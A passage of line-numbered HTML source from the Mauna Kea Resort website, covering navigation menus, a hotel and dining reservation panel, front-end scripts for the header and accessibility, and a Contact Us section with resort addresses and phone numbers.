3614</li><li class="nav-stay"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/" class="sn-link"  ><span>Stay</span></a>
3615<ul class="unstyled-list level3">
3616<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/overview"  >Overview</a>
3617</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/suites/"  >Suites</a>
3618</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/beachfront-wing/"  >Beachfront Wing</a>
3619</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/main-tower/"  >Main Tower</a>
3620</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/personalize-your-trip/"  >Personalize your Trip</a>
3621</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/experiences/"  >Experiences</a>
3622</li></ul>
3623</li><li class="nav-dining"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/" class="sn-link"  ><span>Dining</span></a>
3624<ul class="unstyled-list level3">
3625<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/overview"  >Overview</a>
3626</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/mauna-kea-luau"  >Mauna Kea Luau</a>
3627</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/signature/"  >Signature</a>
3628</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/casual/"  >Casual</a>
3629</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/in-room-dining"  >In-Room Dining</a>
3630</li></ul>
3631</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/" class="sn-link"  ><span>Wellness</span></a>
3632<ul class="unstyled-list level3">
3633<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/overview"  >Overview</a>
3634</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/spa"  >The Spa</a>
3635</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/fitness"  >Fitness</a>
3636</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/wellness-experiences"  >Wellness Experiences</a>
3637</li></ul>
3638</li><li class="nav-golf-and-tennis"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/" class="sn-link"  ><span>Golf & Tennis</span></a>
3639<ul class="unstyled-list level3">
3640<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/overview"  >Golf & Tennis Overview</a>
3641</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/golf/"  >Golf</a>
3642</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/tennis-and-pickleball"  >Seaside Racquet Club</a>
3643</li></ul>
3644</li><li class="nav-celebrate-and-romance"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/" class="sn-link"  ><span>Celebrate & Romance</span></a>
3645<ul class="unstyled-list level3">
3646<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/overview"  >Celebrate & Romance Overview</a>
3647</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/gather"  >Gather</a>
3648</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/site-experiences"  >Site Experiences</a>
3649</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/weddings/"  >Weddings</a>
3650</li></ul>
3651</li></ul>
3652</div></div><div class="col col-2"></div></div></div></li></ul>
3653
3654                <button class="btn-pill js-btn-reserve">Reserve</button>
3655            </nav>        
3656        </div>
3657
3658    </div>
3659
3660    <button type="button" class="nav-toggle js-primary-toggle"><span><span class="ada-hidden">Menu</span></span></button>
3661
3662    <style>.site-book{box-sizing:border-box;position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 109px);overflow-y:auto;background-color:#fff;color:#56534d;padding-top:.5em;opacity:0;pointer-events:none;transform:translateY(-100%);transition:opacity .75s ease,transform .75s ease}.isHeaderMin .site-book{height:calc(100vh - 56px)}@media screen and (max-width:1023px){.site-book{height:calc(100vh - 60px)}}.site-book .flex-cols{height:100%}@media screen and (max-width:1023px){.site-book .flex-cols{justify-content:center}}.book-promo-slide{display:none}</style>
3663
3664
3665<div id="book" class="site-book">	
3666	<div class="flex-cols sb-inner">
3667		<div class="col-1-2 sb-col-1">		
3668			<div class="book-promo-slider">
3669				<div class="book-promo-slide" data-promo="KOAAK" style="display: block;">
3670					<figure class="book-promo">
3671						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hapuna.jpg" alt="Mauna Kea Beach Hotel" class="object-fit"></div>
3672						<figcaption>
3673							
3674						</figcaption>
3675					</figure>
3676				</div>
3677				<div class="book-promo-slide" data-promo="KOAWI">
3678					<figure class="book-promo">
3679						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/westin.jpg" alt="The Westin Hapuna Beach Resort" class="object-fit"></div>
3680						<figcaption>
3681							<h3><em>The Westin</em> Hapuna Beach Resort</h3>
3682							<p>
3682<a href="/stay/westin-hapuna-beach-resort/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about The Westin Hapuna Beach Resort</span></a></p>							
3683						</figcaption>
3684					</figure>
3685				</div>
3686				<div class="book-promo-slide" data-promo="residences">
3687					<figure class="book-promo">
3688						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/residences.jpg" alt="Mauna Kea Residences" class="object-fit"></div>
3689						<figcaption>
3690							<h3><em>Mauna Kea</em> Residences</h3>
3691							<p><a href="/stay/mauna-kea-residences/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Mauna Kea Residences</span></a></p>							
3692						</figcaption>
3693					</figure>
3694				</div>								
3695				<div class="book-promo-slide" data-promo="40177">
3696					<figure class="book-promo">
3697						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/manta.jpg" alt="Manta" class="object-fit"></div>
3698						<figcaption>
3699							<h3><em>Manta</em></h3>
3700							<p><a href="/dine/signature/manta" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Manta</span></a></p>
3701						</figcaption>
3702					</figure>
3703				</div>
3704				<div class="book-promo-slide" data-promo="350437">
3705					<figure class="book-promo">
3706						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/copper-bar.jpg" alt="Copper Bar" class="object-fit"></div>
3707						<figcaption>
3708							<h3><em>Copper</em> Bar</h3>
3709							<p><a href="/dine/casual/copper-bar" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Copper Bar</span></a></p>
3710						</figcaption>
3711					</figure>
3712				</div>
3713				<div class="book-promo-slide" data-promo="350440">
3714					<figure class="book-promo">
3715						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hau-tree.jpg" alt="Hau Tree" class="object-fit"></div>
3716						<figcaption>
3717							<h3><em>Hau</em> Tree</h3>
3718							<p><a href="/dine/casual/hau-tree" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Hau Tree</span></a></p>
3719						</figcaption>
3720					</figure>
3721				</div>
3722				<div class="book-promo-slide" data-promo="1147462">
3723					<figure class="book-promo">
3724						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/naupaka.jpg" alt="Naupaka" class="object-fit"></div>
3725						<figcaption>
3726							<h3><em>Naupaka</em></h3>
3727							<p><a href="/dine/casual/naupaka-beach-grill" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Naupaka</span></a></p>
3728						</figcaption>
3729					</figure>
3730				</div>				
3731				<div class="book-promo-slide" data-promo="987028">
3732					<figure class="book-promo">
3733						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/meridia.jpg" alt="Meridia" class="object-fit"></div>
3734						<figcaption>
3735							<h3><em>Meridia</em></h3>
3736							<p><a href="/dine/signature/meridia" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Meridia</span></a></p>
3737						</figcaption>
3738					</figure>
3739				</div>																
3740			</div>
3741		</div>
3742		<div class="col-1-2 sb-col-2">		
3743			<div class="book-tabs-wrap">
3744				<div role="tablist" class="book-tabs">
3745					<button role="tab" class="book-tab" data-tab="stay" tabindex="-1" aria-selected="true" aria-controls="book-tabpanel-1" id="book-tab-1"><span class="bed-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 419.13 266.93"><path class="bed-icon-1" d="M411.27 69.63c-4.34 0-7.87 3.52-7.87 7.87v28.98H115.09c3.97-4.64 6.23-10.04 6.23-15.86 0-17.72-20.83-31.59-47.42-31.59S26.49 72.91 26.49 90.62c0 5.82 2.26 11.23 6.23 15.86H15.73V7.87C15.73 3.52 12.21 0 7.87 0S0 3.52 0 7.87v251.2c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87v-72.72H403.4v72.72c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87V77.49c0-4.34-3.52-7.87-7.87-7.87ZM42.22 90.6c0-7.49 13.55-15.86 31.68-15.86s31.69 8.38 31.69 15.86-13.55 15.86-31.69 15.86-31.68-8.38-31.68-15.86Zm-26.49 80.02V122.2H403.4v48.42H15.73Z"/></svg></span> Stay</button>
3746					<button role="tab" class="book-tab" data-tab="dine" tabindex="-1" aria-selected="false" aria-controls="book-tabpanel-2" id="book-tab-2"><span class="dine-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 418.95 286.58"><path class="dine-icon-1" d="M211.3 44.7c-64.66 0-117.27 52.61-117.27 117.27s52.61 117.27 117.27 117.27 117.27-52.61 117.27-117.27S275.96 44.7 211.3 44.7Zm0 220.8c-57.08 0-103.52-46.44-103.52-103.52S154.22 58.46 211.3 58.46s103.52 46.44 103.52 103.52S268.38 265.5 211.3 265.5ZM415.37.85a6.863 6.863 0 0 0-7 .23c-2.08 
37461.33-50.85 33.7-50.85 141.73 0 3.8 3.08 6.88 6.88 6.88h40.8v130.02a6.88 6.88 0 1 0 13.76 0V6.88c0-2.51-1.37-4.82-3.57-6.03Zm-44.03 135.09c1.01-48.31 12.55-78.89 22.3-96.26 4.02-7.15 8.05-12.68 11.55-16.82v113.08h-33.85ZM72.88 0A6.88 6.88 0 0 0 66 6.88v86.16c0 1.26-1.03 2.29-2.29 2.29H46.75V6.88c0-3.8-3.08-6.88-6.87-6.88S33 3.08 33 6.88v88.46H16.04c-1.26 0-2.29-1.03-2.29-2.29V6.88c0-3.8-3.08-6.88-6.87-6.88S0 3.08 0 6.88v86.16c0 8.85 7.2 16.04 16.04 16.04H33V279.7a6.88 6.88 0 1 0 13.76 0V109.09h16.96c8.85 0 16.04-7.2 16.04-16.04V6.88C79.75 3.08 76.67 0 72.88 0Z"/></svg></span> Dine</button>
3747				</div>
3748				<div class="book-tabs-content">
3749					<div role="tabpanel" id="book-tabpanel-1" aria-labelledby="book-tab-1" tabindex="-1" style="display: block;">
3750						<form class="book-form stay-form" method="get" action="https://www.marriott.com/reservation/availabilitySearch.mi" target="_blank">
3751							<div class="field field-pill">							
3752								<select id="staySelect" name="propertyCode" class="js-input" tabindex="-1">
3753									<option value="KOAAK">Mauna Kea Beach Hotel</option>
3754									<option value="KOAWI">The Westin Hapuna Beach Resort</option>
3755									<option value="residences">Mauna Kea Residences</option>
3756								</select>
3757								<label for="staySelect">Choose a Hotel</label>
3758								<i class="arrow"></i>
3759							</div>
3760							<div class="field field-pill">							
3761								<input type="text" id="bookCheckIn" name="fromDate" class="book-check-in" readonly autocomplete="off" tabindex="-1">
3762								<label for="bookCheckIn">Check In</label>
3763								<i class="arrow"></i>
3764							</div>
3765							<div class="field field-pill">							
3766								<input type="text" id="bookCheckOut" name="toDate" class="book-check-out" readonly autocomplete="off" tabindex="-1">
3767								<label for="bookCheckOut">Check Out</label>
3768								<i class="arrow"></i>
3769							</div>	
3770                            <div class="field field-room">
3771								<div data-trigger="spinner" class="spinner" id="roomSpinner">
3772									<button type="button" data-spin="down" tabindex="-1">-</button>
3773									<div>
3774										<input type="text" name="numberOfRooms" id="bookRooms" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1">
3775										<label for="bookRooms">Rooms</label>
3776									</div>
3777									<button type="button" data-spin="up" tabindex="-1">+</button>
3778								</div>
3779							</div>		
3780							<div class="field">
3781								<div data-trigger="spinner" class="spinner" id="guestsSpinner">
3782									<button type="button" data-spin="down" tabindex="-1">-</button>
3783									<div>
3784										<input type="text" name="numberOfGuests" id="bookAdults" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1">
3785										<label for="bookAdults">Adult</label>
3786									</div>
3787									<button type="button" data-spin="up" tabindex="-1">+</button>
3788								</div>
3789							</div>	
3790							<div class="field field-children">
3791								<div data-trigger="spinner" class="spinner" id="childrenSpinner">
3792									<button type="button" data-spin="down" tabindex="-1">-</button>
3793									<div>
3794										<input type="text" name="childrenCount" id="bookChildren" value="0" data-ruler="quantity" data-min="0" data-max="4" tabindex="-1">
3795										<label for="bookChildren">Children</label>
3796									</div>
3797									<button type="button" data-spin="up" tabindex="-1">+</button>
3798								</div>
3799							</div>	
3800							<div class="field field-promo">							
3801								<input type="text" id="bookPromo" name="corporateCode" class="js-input" tabindex="-1">
3802								<label for="bookPromo">Promo Code</label>
3803							</div>						
3804							<button class="btn-pill" type="submit" tabindex="-1">Check Availability</button>							
3805						</form>		
3806						<div class="mobile-book-notice">
3807							<h3 class="h4">MAUNA KEA BEACH HOTEL RENOVATION NOTICE: <span class="normal">Pool &amp; Beach Wing Closure</span></h3>
3808							<p class="disclaimer">Our hotel pool will be closed from February 2025 through November 2025; however, guests can still enjoy our beach services at Kauna’oa Bay. Noisy work will be restricted to the hours of 9AM to 5PM daily and contained behind safety barriers. Call for more details.</p>
3809							<p><a href="/renewal" class="lm" tabindex="-1">
3809Learn More <span class="ada-hidden">(Renovation details)</span></a></p>				
3810						</div>
3811					</div>
3812					<div role="tabpanel" id="book-tabpanel-2" aria-labelledby="book-tab-2" tabindex="-1">
3813						<div class="dine-scripts">
3814							<!-- 
3814<script type='text/javascript' src='//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false' ></script>
3814 -->
3815							<div class="luau-callout"><p class="book-dine-luau">For The Mauna Kea Luau reservations,<br> please <a href="https://fareharbor.com/embeds/book/maunakearesortevents/items/413305/?full-items=yes&flow=829426" target="_blank" rel="noopener" tabindex="-1">click here <span class="ada-hidden">to book a reservation</span></a>.</p></div>
3816						</div>					
3817					</div>				
3818				</div>
3819			</div>
3820		</div>	
3821	</div>
3822	<button type="button" class="btn-close js-book-close" aria-label="Close reservation panel" tabindex="-1"></button>
3823</div>
3824
3825
3826
3827</header>
3828
3829
3830<script>
3831    _hdmq.add(function(){
3832
3833        // double tap for touch devices
3834        $('.site-nav').doubleTapToGo({
3835            selectorChain: 'li:has(".dd-nav")'
3836        });
3837
3838        //HEADER MIN ANIMATE
3839        var isHeaderMin=false;
3840        function updateHeaderMin(){		            
3841            if($(window).scrollTop()>100 && window.innerWidth>767){
3842                if(isHeaderMin==true) return;
3843                isHeaderMin=true;
3844                $('body').addClass('isHeaderMin');
3845            }else{
3846                if(isHeaderMin==false) return;
3847                isHeaderMin=false;
3848                $('body').removeClass('isHeaderMin');
3849            }			
3850        }
3851        $(window).scroll(updateHeaderMin);
3852        $(window).resize(updateHeaderMin);
3853        updateHeaderMin();
3854
3855
3856        // Nav toggle button
3857        const navToggle = document.querySelector('.js-primary-toggle');
3858        navToggle.addEventListener('click', function () {
3859            const docBody = document.querySelector('body');
3860            if (docBody.classList.contains('book-active')) {
3861                docBody.classList.remove('book-active');
3862            }
3863            docBody.classList.toggle('active-nav');
3864        });
3865
3866
3867        // Handle submenus on hover            
3868        $('.primary-nav > li').each(function(i, el) {
3869            let timer;
3870            let $el = $(el);
3871            let $subnav = $el.find('.dd-nav');
3872            let $body = $('body');
3873
3874            $el
3875            .mouseenter( function() {
3876                $body.addClass('active-subnav');
3877
3878                if ($subnav.length) {
3879                    $subnav.addClass('open');
3880                    $subnav.siblings('.pn-link').attr('aria-expanded', true);                        
3881                }
3882            })
3883            .mouseleave(function() {
3884                $body.removeClass('active-subnav');
3885
3886                if ($subnav.length) {
3887                    $subnav.removeClass('open');
3888                    $subnav.siblings('.pn-link').attr('aria-expanded', false);
3889                }
3890            });
3891
3892        });   
3893
3894        // move utility items for mobile
3895        function setUtilityItems() {                
3896            const themeToggle = $('.theme-toggle, .theme-overlay');
3897            const reserveButton = $('.btn-pill.js-btn-reserve');
3898
3899            if ($(window).width() < 768) {
3900                $('.mobile-utility').prepend(themeToggle);
3901                $('.mobile-utility').append(reserveButton);
3902            } else {
3903                $('.un-tt').prepend(themeToggle);
3904                $('.site-nav').append(reserveButton);
3905            }
3906        }
3907        setUtilityItems();
3908        window.addEventListener('resize', _.debounce(setUtilityItems, 250));
3909
3910
3911        // Make nav keyboard accessible
3912        function navKeyHandler(e) { 
3913            let $this = $(this); // focused element 
3914            let $activeSubnav = $('.dd-nav.open');
3915
3916            // if focused element has items to the right, detect right arrow press  
3917            let $nextSibling = $this.closest('.primary-nav > li').next('li').children('.pn-link');
3918            if ($nextSibling.length) {
3919                if (e.keyCode == '39') {
3920                    $nextSibling.focus();
3921                    $activeSubnav.removeClass('open');
3922                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3923                }
3924            }
3925
3926            // if focused element has items to the left, detect left arrow press
3927            let $prevSibling = $this.closest('.primary-nav > li').prev('li').children('.pn-link');
3928            if ($prevSibling.length) {      
3929                if (e.keyCode == '37') {
3930                    $prevSibling.focus();
3931                    $activeSubnav.removeClass('open');
3932                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3933                }
3934            }
3935
3936            // if focused element has items below, detect down arrow press
3937            let $subnav = $this.siblings('.dd-nav');
3938            let $firstSubnavItem = $subnav.find('.subnav').children('li:first-child').children('.sn-link'); 
3939
3940            if ($firstSubnavItem.length) {
3941                if (e.keyCode == '40') {
3942                    // open active subnav
3943                    $subnav.addClass('open');
3944                    // update aria expanded on active subnav
3945                    $subnav.siblings('.pn-link').attr('aria-expanded', true);
3946                    // deactivate other active subnavs
3947                    $activeSubnav.removeClass('open');
3948                    // update aria expanded on deactivated subnavs
3949                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3950                    // set focus to first item
3951                    $firstSubnavItem.focus();
3952                }
3953            }
3954
3955            // make subnav items tabbable when open
3956            $('.dd-nav').each(function(i, el) {
3957                let _this = $(el);
3958
3959                // toggle tabindex
3960                if (_this.hasClass('open')) {
3961                    _this.find('a').attr('tabindex', 0);
3962                } else {
3963                    _this.find('a').attr('tabindex', -1);
3964                }   
3965            });
3966
3967
3968            // if tabbed to primary nav link, hide subnavs
3969            let isPnLink = $this.hasClass('pn-link')
3970            if (isPnLink) {
3971                if (e.keyCode == 9) {
3972                    // make links untabbale 
3973                    $activeSubnav.find('a').attr('tabindex', -1);
3974                    // hide other active subnavs
3975                    $activeSubnav.removeClass('open');
3976                    // update aria expanded
3977                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3978                }
3979            }
3980
3981            // if focus leaves active subnav
3982            $(document).click(function(event) { 
3983                var $target = $(event.target);
3984                if(!$target.closest('.dd-nav.open').length && $('.dd-nav.open').is(":visible")) {
3985                    $('.dd-nav.open').removeClass('open')
3986                }        
3987            });
3988        }
3989
3990
3991        // bind handler to all links in primary nav
3992        $('.primary-nav a').off('keyup').on('keyup', navKeyHandler);
3993
3994        // make weather icons inline svgs 
3995        inlineSVG('.weather-icon');
3996
3997
3998        //make different hover colors for Westin Hapuna dining places
3999        const diningSubnav = $('.nav-dine .subnav .level3'); //select dining subnav
4000
4001        const meridia = diningSubnav.find("a[href$='meridia']"); //select item that ends with a certain page
4002        meridia.addClass('green');
4002 //add class
4003
4004        const plumeriaMarket = diningSubnav.find("a[href$='plumeria-market']");
4005        plumeriaMarket.addClass('green');
4006
4007        const piko = diningSubnav.find("a[href$='piko']");
4008        piko.addClass('green');
4009
4010        const ikenaLanding = diningSubnav.find("a[href$='ikena-landing']");
4011        ikenaLanding.addClass('green');
4012
4013        const naupakaBeachGrill = diningSubnav.find("a[href$='naupaka-beach-grill']");
4014        naupakaBeachGrill.addClass('green');
4015
4016        const westinHapuna = diningSubnav.find("a[href$='the-westin-hapuna-beach-resort']");
4017        westinHapuna.addClass('green');
4018
4019        //ADA fixes add descriptive text
4020        var promos = document.querySelectorAll('.subnav-promo');
4021
4022        for (var i = 0; i < promos.length; i++) {
4023            var promo = promos[i];
4024            var figcaption = promo.querySelector('figcaption');
4025            var link = promo.querySelector('a.lm');
4026
4027            if (figcaption && link) {
4028                var captionText = figcaption.textContent.trim();
4029
4030                // Create the ADA hidden span
4031                var adaSpan = document.createElement('span');
4032                adaSpan.className = 'ada-hidden';
4033                adaSpan.textContent = 'About ' + captionText;
4034
4035                // Append the hidden span to the link (if not already there)
4036                if (!link.querySelector('.ada-hidden')) {
4037                    link.appendChild(adaSpan);
4038                }
4039            }
4040        }
4041
4042    });
4043</script>
4043
4044
4045
4046        
4047
4048
4049
4050<div id="hero" class="interior-height has-loader">
4051    <style>#hero{box-sizing:border-box;min-height:410px;position:relative;overflow:hidden;z-index:2;background-color:#fff;color:#fff;margin-bottom:2em}#hero.full-height{height:100vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.full-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.full-height{height:954px}}@media screen and (max-width:767px){#hero.full-height{height:420px}}#hero.interior-height{height:80vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.interior-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.interior-height{height:954px}}@media screen and (max-width:767px){#hero.interior-height{height:420px}}#hero.partial-height{height:600px}@media screen and (max-width:767px){#hero.partial-height{height:360px}}#hero.small-height{height:500px}@media screen and (max-width:767px){#hero.small-height{height:360px}}@media screen and (max-width:767px){#hero{min-height:0}}.hero{position:relative;height:100%;overflow:hidden;max-width:3840px;margin:0 auto;transition:opacity .6s ease}@media screen and (max-width:767px){.hero{padding-top:60px}}.hero.loading{visibility:hidden;opacity:0}.hero figcaption{box-sizing:border-box;position:absolute;top:50%;left:50%;z-index:2;width:90%;color:currentColor;text-shadow:.1em 0 .4em #000;text-align:center;transform:translate(-50%,-50%)}.hero figcaption h2{font-family:"Lora",serif;font-size:1.75rem;letter-spacing:.05em;text-transform:none}.hero figcaption .inner{width:auto;max-width:none}@media screen and (max-width:767px){.hero figcaption{font-size:16px;text-align:center}.hero figcaption br{display:none}}@media screen and (max-width:480px){.hero figcaption{width:70%}}@media screen and (max-width:768px){.hero{margin-left:0}}.hero .btn{background:#ff671f;padding:4px 20px;color:currentColor}.hero .btn:before,.hero .btn:after{display:none}@media screen and (max-width:767px){.hero .slick-arrow{top:calc(50% + 30px)}}.hero-slide{position:relative;overflow:hidden}.hero-nav{box-sizing:border-box;position:absolute;bottom:5.4%;right:5%;z-index:2;color:currentColor}@media screen and (max-width:767px){.hero-nav{min-height:40px;bottom:.75em}}.hero-nav .slick-arrow{position:relative;top:auto;transform:none;margin:0 .35rem}.hero-nav .slick-prev{left:auto}.hero-nav .slick-next{right:auto}.hero-sub-caption{position:absolute;right:1.5em;bottom:1.5em;z-index:2;color:currentColor;font-size:13px}@media screen and (max-width:767px){.hero-sub-caption{display:none}}.btn-hero-toggle{position:absolute;right:1.5em;bottom:1.5em;z-index:2;width:34px;height:34px;border:1px solid;border-radius:50%;transition:color .35s}@media screen and (max-width:767px){.btn-hero-toggle{right:1em;bottom:1em}}.btn-hero-toggle.is-hidden{display:none}.btn-hero-toggle::before{content:'î ¨';font-family:'fontello';font-size:1rem}.btn-hero-toggle.is-play::before{content:'î §'}.btn-hero-toggle:hover{color:#ff671f}</style>
4052
4053
4054<div class="ada-hidden js-hero-hint" aria-live="polite" aria-atomic="true"></div>
4055
4056<div class="hero loading" id="Hero_Tour_119">
4057    
4058    <figure class="slide hero-slide">
4059        <img data-lazy="/images/hero/full/mkbh-exterior.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" >
4060        <figcaption>
4061            <div class="inner">
4062                
4063            </div>
4064        </figcaption>
4065        
4066        <div class="hero-sub-caption"></div>
4067        
4068    </figure>
4069    
4070</div>
4071
4072<button type="button" class="btn-hero-toggle js-hero-ctrl is-hidden" aria-label="Pause Slideshow" aria-pressed="false" ></button>
4073
4074
4075
4076
4077
4078    
4079<style>
4080  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
4081  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
4082</style>
4083
4084
4085
4086
4087<style>.home-callouts{position:absolute;
4087left:-450px;bottom:130px;width:478px;height:198px;background-color:#fff;color:#56534d;z-index:9;transition:left 1s ease-in-out,transform 1s ease-in-out}@media screen and (max-width:767px){.home-callouts{bottom:20%;transition:.5s ease-in-out}}@media screen and (max-width:480px){.home-callouts{left:0;transform:translateX(calc(-100% + 28px));background-color:#e4e4e4;width:85%;height:175px}}.home-callouts .slick-prev,.home-callouts .slick-next{bottom:-55px;top:initial;cursor:pointer;color:#fff}@media screen and (max-width:480px){.home-callouts .slick-prev,.home-callouts .slick-next{visibility:hidden}}.home-callouts .slick-prev{left:30%}@media screen and (max-width:480px){.home-callouts .slick-prev{left:85px}}.home-callouts .slick-next{right:30%}@media screen and (max-width:480px){.home-callouts .slick-next{right:132px}}</style>
4088
4089
4090
4091</div>
4092<style>
4093    .whitelabel_button_c { display: inline-block;
4094    color: #fff !important;
4095    font-size: .75rem !important;
4096    border-radius: 2em;
4097    text-transform: uppercase;
4098    font-size: inherit;
4099    position: relative;
4100    letter-spacing: .1em; 
4101    background: #ff671f; padding-top: 13px;}
4102</style>
4103<main id="main-content" class="main-content" role="main">
4104
4105    <div class="intro">
4106        <div class="inner cf">
4107            <div class="hgroup">
4108                <div class="hdm-content" hdmType="HtmlEditable" id="Field_1_972"><h1><em>Contact Us</em></h1></div>
4109            </div>            
4110            <div class="hdm-content" hdmType="HtmlEditable" id="Field_2_972"><p class="lede"><span style="font-weight: 400;">Connect directly with our team by email or dialing the numbers below.<br /></span></p>
4111<div class="clear-left"></div>
4112<div class="flex-boxes has-bg">
4113<div class="item">
4114<h4>Mauna Kea Beach Hotel, autograph collection</h4>
4115<p>62-100 Mauna Kea Beach Drive<br />Kohala Coast, Hawaii 96743<br /><strong>Hotel Direct Phone:</strong> <a href="tel:1-808-882-7222" aria-label="Call at (808) 882-7222">(808) 882-7222</a></p>
4116</div>
4117<div class="item">
4118<h4>The Westin Hapuna Beach Resort</h4>
4119<p>62-100 Kauna&rsquo;oa Dfrive<br />Kohala Coast, Hawaii 96743<br /><strong>Hotel Direct Phone:</strong> <a href="tel:1-808-880-1111" aria-label="Call at (808) 880-1111">(808) 880-1111</a></p>
4120</div>
4121<div class="item">
4122<h4>Room Reservations</h4>
4123<p><strong>Phone:</strong> <a href="tel:1-877-880-6524" aria-label="Call at (1-877) 880-6524">(1-877) 880-6524</a><br /><strong>Mauna Kea Beach Hotel Email:</strong> <a href="/cdn-cgi/l/email-protection#513c3a3d34363032283534223a113c30243f303a34302334223e23257f3f3425" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="a7cacccbc2c0c6c4dec3c2d4cce7cac6d2c9c6ccc2c6d5c2d4c8d5d389c9c2d3">[email&#160;protected]</span></a><br /><strong>Westin Hapuna Beach Resort Email:<br /></strong><span style="font-size: 10pt;"><a href="/cdn-cgi/l/email-protection#3240574157404453465b5d5c4172455741465b5c5a5342475c53505753515a1c515d5f" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="e391869086919582978a8c8d90a3948690978a8d8b8293968d82818682808bcd808c8e">[email&#160;protected]</span></a></span><br /><strong>Hours of Operation (HST):</strong><br />Mon-Fri: 7am-5pm, Sat-Sun 7am-3pm</p>
4124</div>
4125</div>
4126<div class="flex-boxes">
4127<div class="item">
4128<h4>Mauna Kea Golf Course</h4>
4129<p><strong>Phone:</strong> <a href="tel:1-808-882-5405" aria-label="Call at (808) 882-5405">(808) 882-5405</a><br /><strong>Tee times: </strong><a href="https://www.chronogolf.com/club/mauna-kea-golf-course?date=2025-10-01" title="Mauna Kea Golf Course Tee Times" target="_blank" rel="noopener">Mauna Kea Golf Course Tee Time Bookings</a></p>
4130</div>
4131<div class="item">
4132<h4>Hapuna Golf Course</h4>
4133<p><strong>Phone:</strong> <a href="tel:1-808-880-3000" aria-label="Call at (808) 880-3000">(808) 880-3000</a><br /><strong>Tee times:</strong><a href="https://www.chronogolf.com/club/hapuna-golf-course?date=2026-06-17" title="Hapuna Golf Course Tee Times" target="_blank" rel="noopener">&nbsp;Hapuna Golf Course Tee Time Bookings</a></p>
4134</div>
4135<div class="item">
4136<h4>SPA at Mauna Kea&nbsp;</h4>
4137<p><strong>Phone:</strong> <a href="tel:1-808-882-5630" aria-label="Call at (808)882-5630">(808)882-5630</a><br /><strong>Online:</strong><a href="https://www.spaatmaunakea.com" title="Mandara Spa at Mauna Kea Beach Hotel" target="_blank" rel="noopener"> Spa at Mauna Kea</a></p>
4138</div>
4139<div class="item">
4140<h4>Mauna Kea Seaside Racquet club</h4>
